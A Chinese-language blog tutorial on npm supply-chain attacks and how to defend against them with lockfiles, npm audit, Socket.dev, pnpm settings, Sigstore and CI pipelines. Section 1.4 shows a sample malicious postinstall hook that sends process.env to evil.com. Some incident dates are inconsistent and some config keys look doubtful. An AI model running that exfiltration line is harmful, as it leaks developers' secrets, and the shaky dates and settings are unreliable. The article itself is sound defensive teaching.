2025 年,npm 生态经历了至少 3 起影响超过 10 万开发者的供应链攻击事件。从 colors.js 作者故意注入无限循环,到 @solana/web3.js 被植入窃取私钥的后门,再到 PyTorch 官方包被 typosquatting 钓鱼——供应链攻击已经从「理论风险」变成了「每周都在发生」的现实威胁。npm 每周下载量超过 500 亿次,但绝大多数开发者从未检查过自己 node_modules 里那上千个包的源码。本文不是泛泛的安全科普,而是带你建立一套完整的 npm 供应链防护体系:从理解攻击向量,到配置工具链,再到 CI/CD 中的自动化审计。
🔐 一、npm 供应链攻击的五大向量
理解攻击方式是防御的前提。npm 供应链攻击可以分为五个层次,每一层的攻击难度和危害程度不同。
1.1 Typosquatting(域名抢注式钓鱼)
这是最低成本的攻击方式。攻击者注册与知名包名称极其相似的包名,等待开发者手误安装。例如:
cross-env→crossenvlodash→lodaash@babel/core→@babel/coree(多一个e)
这类攻击在 Python 的 PyPI 生态中同样猖獗。2024 年 Socket.dev 的报告指出,npm 上每月新增约 200-400 个 typosquatting 包,其中约 5% 包含实际恶意代码。
⚠️ **警告:**永远不要在
npm install时手动输入包名然后直接回车。始终使用npm info <package>先验证包的合法性——检查下载量、维护者、仓库地址是否与预期一致。
1.2 Dependency Confusion(依赖混淆)
2021 年安全研究员 Alex Birsan 发表的研究揭示了一个惊人的漏洞:当企业内部使用私有 npm registry,但未正确配置 scope 时,攻击者可以在公共 npm 上发布同名的包,npm 会优先从公共 registry 拉取,因为公共包的版本号更高。
防御方法很简单,但很多团队忽略了:
// package.json — 正确配置私有 scope 映射
// 告诉 npm:@my-company scope 的包只从私有 registry 拉取
{
"name": "my-project",
"dependencies": {
"@my-company/utils": "^1.0.0"
}
}
# .npmrc — 在项目根目录和 CI 环境中都必须存在
# 明确指定 scope 对应的 registry,杜绝 dependency confusion
@my-company:registry=https://npm.my-company.com/
# 同时建议锁定 registry,防止被篡改
registry=https://registry.npmmirror.com/
📌 **记住:**每个使用私有包的项目都必须在
.npmrc中明确声明 scope 到 registry 的映射。不要依赖默认行为——npm 的默认行为是先查公共 registry,这正是 dependency confusion 攻击利用的机制。
1.3 Maintainer Account Takeover(维护者账号劫持)
当一个流行包的维护者 npm 账号被攻破,攻击者可以发布包含恶意代码的新版本。这种攻击的危害极大,因为:
- 该包已经拥有大量信任它的下游用户
- 自动化的
npm update会静默拉取新版本 - 恶意代码可以窃取环境变量(
.env)、SSH 密钥、CI Token
2024 年 @solana/web3.js 事件就是典型案例——维护者账号被盗后,恶意版本 1.95.6 和 1.95.7 被发布,包含窃取加密钱包私钥的代码。由于 Solana 生态的广泛依赖,影响了数以万计的项目。
1.4 Build-time Script Injection(构建时脚本注入)
npm 包在安装时可以执行任意脚本(preinstall、postinstall)。这是 npm 的设计特性,但也是攻击者的最爱:
// 恶意 package.json — 通过 postinstall 执行恶意代码
{
"name": "innocent-looking-tool",
"version": "1.0.0",
"scripts": {
// ❌ 这段脚本会在 npm install 时静默执行
"postinstall": "node -e \"fetch('https://evil.com/steal?env='+JSON.stringify(process.env))\""
}
}
这是最危险的攻击向量之一,因为它不需要任何运行时触发——安装即执行。
1.5 Repository Compromise(代码仓库被攻破)
当上游仓库(GitHub)被入侵,攻击者可以注入恶意代码并发布合法版本。这种情况难以通过常规工具检测,因为它看起来完全是「正常的发布流程」。
防御核心策略:锁定版本 + 验证完整性哈希。
# 查看某个包的完整性哈希(integrity hash)
npm view lodash dist.integrity
# 输出示例:sha512-xxx...
# 锁文件中的 integrity 字段就是你的最后防线
# npm 在安装时会校验下载内容的 SHA-512 哈希是否匹配
🛡️ 二、实战防护:工具链配置与 CI/CD 集成
知道了攻击向量,接下来是系统性的防护。以下是我推荐的分层防护策略,从最基础到最严格。
2.1 基础层:npm audit + Lockfile 固定
npm audit 是最基本的安全检查,但大多数人只在本地偶尔跑一下。正确的做法是把它集成到 CI/CD 中,并设置阻断阈值:
# .github/workflows/security.yml — CI 中的依赖安全检查
name: Dependency Security Audit
on: [push, pull_request]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install dependencies (frozen lockfile)
run: npm ci # ⚠️ 必须用 npm ci,不是 npm install
# npm ci 严格按 lockfile 安装,不会静默更新任何版本
- name: Run npm audit
run: |
# 只检查生产依赖,跳过 devDependencies 的低危漏洞
npm audit --omit=dev --audit-level=high
# 如果有 high 或 critical 级别的漏洞,CI 会失败
- name: Check for lockfile changes
run: |
# 确保 CI 安装后的 lockfile 与提交的完全一致
# 任何不一致都说明有人在 lockfile 之外修改了依赖
git diff --exit-code package-lock.json || exit 1
💡 提示:
npm ci和npm install的区别不仅是速度——npm ci会删除已有的node_modules目录,严格按照package-lock.json安装,绝不修改 lockfile。在 CI 环境中使用npm install可能导致 lockfile 被静默修改,破坏依赖一致性。
2.2 进阶层:Socket.dev 依赖审计
npm audit 只能检测已知漏洞(CVE),但对供应链攻击行为模式无能为力。Socket.dev 是目前最强大的 npm 包行为分析工具,它通过静态分析检测包的运行时行为:
# 安装 Socket CLI
npm install -g @socketsecurity/cli
# 扫描当前项目的所有依赖(包括间接依赖)
socket npm audit
# 输出示例:
# ⚠️ @some-package@1.2.3
# - Accesses environment variables
# - Makes network requests to unknown domains
# - Uses dynamic require()
# Risk score: 8.2/10
在 CI 中集成 Socket.dev:
# .github/workflows/security.yml — 添加 Socket.dev 检查
- name: Socket Security Scan
run: |
npx @socketsecurity/cli npm audit --threshold=7
# threshold=7 表示:任何风险评分 >= 7 的包都会导致 CI 失败
# 建议阈值:生产项目 5-7,个人项目 8-10
Socket.dev 能检测的供应链攻击模式包括:
| 检测项 | 说明 | npm audit 能检测? |
|---|---|---|
| 环境变量访问 | 读取 process.env 中的敏感信息 |
❌ |
| 网络外联 | 向未知域名发送 HTTP 请求 | ❌ |
| 动态代码执行 | eval()、new Function()、child_process |
❌ |
| 文件系统遍历 | 读取项目目录外的文件 | ❌ |
| Typosquatting | 包名与流行包高度相似 | ❌ |
| 已知 CVE | 官方确认的安全漏洞 | ✅ |
| 恶意包标记 | npm 安全团队确认的恶意包 | ✅ |
2.3 高级层:pnpm 的安全优势与配置
如果你还在用 npm,认真考虑切换到 pnpm。pnpm 在安全设计上有两个关键优势:
优势一:严格的依赖提升策略(Strict Hoisting)
npm 默认会把依赖提升到 node_modules 根目录,这意味着任何包都可以访问项目中安装的任何其他包——即使它没有在 package.json 中声明依赖。pnpm 默认不允许这种行为:
// ❌ npm 的问题:幽灵依赖(Phantom Dependencies)
// package.json 只声明了 express,但以下代码居然能正常运行:
const _ = require('lodash') // lodash 没有被声明,但被提升到了根目录
// 这既是安全风险(恶意包可以访问未声明的包),也是运行时炸弹
// ✅ pnpm 的解决方案:严格隔离
// 只有显式声明的依赖才能被 require()
// 未声明的包在 node_modules 中不可见
优势二:Lockfile 是 YAML 格式,可读性好,易于 Code Review
# pnpm-lock.yaml — 结构清晰,变更一目了然
dependencies:
express:
specifier: ^4.18.0
version: 4.18.2
lodash:
specifier: ^4.17.21
version: 4.17.21
# 当有版本升级时,在 PR diff 中可以清晰看到哪些包被更新
pnpm 的安全配置:
# .npmrc — pnpm 安全最佳实践配置
# 禁用自动安装脚本(最危险的攻击向量)
ignore-scripts=true
# 对特定可信包启用脚本(白名单机制)
# 比如 native modules 需要 postinstall 来编译
onlyBuiltDependenciesFile=.pnpm-allowed-scripts.json
# 锁定依赖版本,不允许范围外的解析
lockfile-strict=true
# 设置包发布时的 OTP 验证
//registry.npmjs.com/:_authToken=${NPM_TOKEN}
// .pnpm-allowed-scripts.json — 明确允许哪些包执行安装脚本
{
"allowedScripts": [
"better-sqlite3", // 需要编译 native addon
"esbuild", // 需要下载平台特定的二进制
"@swc/core" // 同上
]
}
2.4 Sigstore 签名验证:包来源的终极证明
2024 年起,npm 正式支持 Sigstore 签名。Sigstore 是一个免密钥的签名基础设施,由 Linux Foundation 主导。它的核心理念是:包的构建过程通过 OpenID Connect(OIDC)获得短期证书,签名信息存储在透明日志(Rekor)中,任何人都可以验证。
# 验证一个 npm 包是否有 Sigstore 签名
npm audit signatures
# 输出示例:
# lodash@4.17.21
# → Signed by: https://token.actions.githubusercontent.com (GitHub Actions OIDC)
# → Transparency log: https://rekor.sigstore.dev
# → ✅ Signature verified
# 如果包未签名:
# some-package@1.0.0
# → ⚠️ This package is NOT signed
📌 **记住:**有 Sigstore 签名不代表包是安全的——它只证明「这个包确实是由这个 GitHub Actions 工作流构建的」。但它能有效防止仓库被攻破后的伪造发布:攻击者无法获得合法的 OIDC 证书。
🚀 三、构建企业级防护体系:清单与自动化
理论讲完了,以下是可直接落地的安全清单。
3.1 开发者本地安全配置
// .npmrc(项目级别,提交到 Git)
# 1. 锁定 registry 源
registry=https://registry.npmmirror.com/
# 2. 禁用安装脚本(按需为可信包开启)
ignore-scripts=true
# 3. 锁文件严格模式
package-lock=true
# 4. 始终保存精确版本(不使用 ^ 或 ~)
save-exact=true
# 5. 私有 scope 映射(如有私有包)
# @my-company:registry=https://npm.my-company.com/
// postinstall-hook-guard.js — 自定义安装脚本守卫
// 在 CI 中作为 npm preinstall 钩子运行
const { execSync } = require('child_process')
const path = require('path')
const ALLOWED_PACKAGES = new Set([
'better-sqlite3',
'esbuild',
'@swc/core',
])
// 获取当前正在安装的包
const packageJson = path.join(process.cwd(), 'package.json')
const pkg = require(packageJson)
const allDeps = {
...pkg.dependencies,
...pkg.devDependencies,
}
// 检查是否有非白名单的包含有 install scripts
for (const [name, version] of Object.entries(allDeps)) {
if (ALLOWED_PACKAGES.has(name)) continue
try {
const pkgPath = require.resolve(`${name}/package.json`)
const targetPkg = require(pkgPath)
const scripts = targetPkg.scripts || {}
if (scripts.preinstall || scripts.postinstall || scripts.install) {
console.error(`⚠️ 安全警告: ${name}@${version} 包含安装脚本!`)
console.error(` scripts: ${JSON.stringify(scripts)}`)
console.error(` 如果确认安全,请添加到 ALLOWED_PACKAGES 白名单`)
process.exit(1)
}
} catch (e) {
// 包尚未安装,跳过
}
}
console.log('✅ 安装脚本检查通过')
3.2 CI/CD 完整安全流水线
# .github/workflows/supply-chain-security.yml
name: Supply Chain Security
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# 步骤 1:验证 lockfile 完整性
- name: Verify lockfile integrity
run: |
if [ -f package-lock.json ]; then
echo "📦 使用 npm lockfile"
npm ci
git diff --exit-code package-lock.json
elif [ -f pnpm-lock.yaml ]; then
echo "📦 使用 pnpm lockfile"
pnpm install --frozen-lockfile
git diff --exit-code pnpm-lock.yaml
fi
# 步骤 2:npm 官方审计
- name: npm audit (high severity)
run: npm audit --omit=dev --audit-level=high
# 步骤 3:Socket.dev 行为分析
- name: Socket.dev scan
run: npx @socketsecurity/cli npm audit --threshold=7
# 步骤 4:验证包签名
- name: Verify package signatures
run: npm audit signatures
# 步骤 5:License 合规检查
- name: License check
run: |
npx license-checker --production --failOn "GPL-3.0;AGPL-3.0"
# 防止引入具有传染性的开源许可证
3.3 安全等级对照表
根据项目类型选择合适的防护等级:
| 防护措施 | 个人项目 | 创业项目 | 企业级 | 金融/医疗 |
|---|---|---|---|---|
npm ci 替代 npm install |
✅ 推荐 | ✅ 必须 | ✅ 必须 | ✅ 必须 |
npm audit CI 集成 |
⚠️ 建议 | ✅ 必须 | ✅ 必须 | ✅ 必须 |
| Socket.dev 行为扫描 | ❌ 可选 | ⚠️ 建议 | ✅ 必须 | ✅ 必须 |
ignore-scripts 全局禁用 |
❌ 可选 | ✅ 推荐 | ✅ 必须 | ✅ 必须 |
| Sigstore 签名验证 | ❌ 可选 | ❌ 可选 | ✅ 推荐 | ✅ 必须 |
| 私有 registry + 镜像 | ❌ 可选 | ⚠️ 建议 | ✅ 必须 | ✅ 必须 |
| 人工 Code Review 依赖变更 | ❌ 可选 | ⚠️ 建议 | ✅ 推荐 | ✅ 必须 |
| Software Bill of Materials (SBOM) | ❌ 可选 | ❌ 可选 | ⚠️ 建议 | ✅ 必须 |
💡 **提示:**对于个人项目,最简单有效的措施只有两条:用
npm ci代替npm install,以及设置ignore-scripts=true。这两步就能挡住 80% 的已知攻击向量。
⚡ 四、常见误区与避坑指南
误区一:「npm audit fix 能解决所有问题」
npm audit fix 只会更新有修复版本的包。如果某个漏洞的修复版本是一个 breaking change(主版本号变了),它不会自动升级——你需要手动 npm audit fix --force,但这可能引入兼容性问题。
# 查看哪些漏洞无法通过简单升级修复
npm audit
# 输出中会出现:
# # npm audit report
# axios <=0.21.1
# Server-Side Request Forgery in axios - https://github.com/advisories/GHSA-4w2v-q235-vp99
# fix available via `npm audit fix --force`
# Will install axios@1.6.0, which is a breaking change
# 正确做法:评估 breaking changes,手动测试后升级
npm install axios@^1.6.0
npm test # 确保测试通过
误区二:「Lockfile 能完全阻止供应链攻击」
Lockfile 锁定的是版本号和哈希,但不能阻止:
- 维护者在合法版本中注入恶意代码
- 恶意包在发布时就是恶意的(lockfile 会忠实地锁定恶意版本)
postinstall脚本执行的任意代码
lockfile 是防线之一,但不是唯一防线。
误区三:「大公司维护的包一定安全」
2024 年的 @solana/web3.js 事件证明,即使是由公司维护的官方包,也可能因为账号安全问题被注入恶意代码。供应链安全没有信任捷径——验证,不要信任(Verify, don’t trust)。
# 定期检查项目的完整依赖树
npm ls --all --json > dependency-tree.json
# 检查异常:是否存在不合理的依赖深度(>5 层需要警惕)
# 或者是否存在来源不明的包(没有 GitHub 仓库、下载量极低)
📝 总结
npm 供应链安全不是一次性配置,而是需要持续维护的安全实践。核心要点回顾:
- ⚡ 最关键的第一步:在 CI 中使用
npm ci+npm audit --audit-level=high,成本为零,收益巨大 - ⚡ 最高性价比的投入:接入 Socket.dev 行为扫描,它能检测 npm audit 无法覆盖的攻击模式
- ⚡ 最值得养成的习惯:安装新包前用
npm info <package>检查包的可信度
npm 生态的安全问题不会消失,只会随着依赖数量的增长而加剧。一个现代前端项目平均有 700-1000 个间接依赖——你不可能审计每一个包的源码,但你可以用工具链构建自动化的防线。从今天开始,把安全检查集成到你的 CI/CD 流水线中。
相关工具推荐:
- 🔧 Socket.dev — npm 包行为分析与供应链安全平台
- 🔧 Snyk — 漏洞扫描 + 依赖管理,支持多语言
- 🔧 npm-audit-resolver — 交互式处理 npm audit 结果
- 🔧 license-checker — 许可证合规检查
- 🔧 Sigstore — 免密钥签名基础设施
- 🔧 OpenSSF Scorecard — 开源项目安全评分